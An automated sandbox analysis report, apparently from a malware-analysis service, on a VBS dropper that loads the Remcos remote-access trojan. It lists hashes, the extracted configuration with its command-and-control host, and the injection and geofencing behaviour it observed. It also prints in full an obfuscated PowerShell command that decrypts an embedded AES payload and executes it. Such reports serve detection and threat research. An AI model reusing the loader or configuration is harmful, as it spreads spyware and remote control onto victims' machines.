Analysis
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max time kernel
149s -
max time network
161s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
27-07-2024 01:36
Static task
static1
Behavioral task
behavioral1
Sample
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
Resource
win10v2004-20240709-en
General
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Target
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs
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Size
409KB
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MD5
94734cb139b6b9025fd8a1acc56027db
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SHA1
b385368bcaadaca073849a413660b68e690ffba5
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SHA256
7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08
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SHA512
58e0064f4b304b5503c4a7e689d96cc62bac4bc8ee76d39fede408b9e777b9602334dad4e1570fa0b9e0c363e7d8ee419a41d4da02493d174d61f96acca4053f
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SSDEEP
3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
Malware Config
Extracted
remcos
RemoteHost
sembe.duckdns.org:14645
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
nots.dat
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keylog_flag
false
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keylog_folder
note
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keylog_path
%Temp%
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mouse_option
false
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mutex
Rmc-999Z97
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 7 1208 powershell.exe 16 1208 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1208 set thread context of 4076 1208 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegAsm.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1208 powershell.exe 1208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1208 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 4076 RegAsm.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 2144 wrote to memory of 1208 2144 WScript.exe powershell.exe PID 2144 wrote to memory of 1208 2144 WScript.exe powershell.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe PID 1208 wrote to memory of 4076 1208 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4076
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
144B
MD529f8eccacf5f7d7da64c16504ee28555
SHA11514a244e60c7a870cb497f05194552b8dc07b0a
SHA256bc81b50858da533577fbfba1459ece0f043e316bb817c57b070a8d8e3b42ee2e
SHA5126f5cd41d3529276a532866775cf9d67017be979f5f747d2416c73c689b28aefaaa8be17b3b517d4fef539d669541cb381b60c5a209f72f48f8d87e25ae55ad9b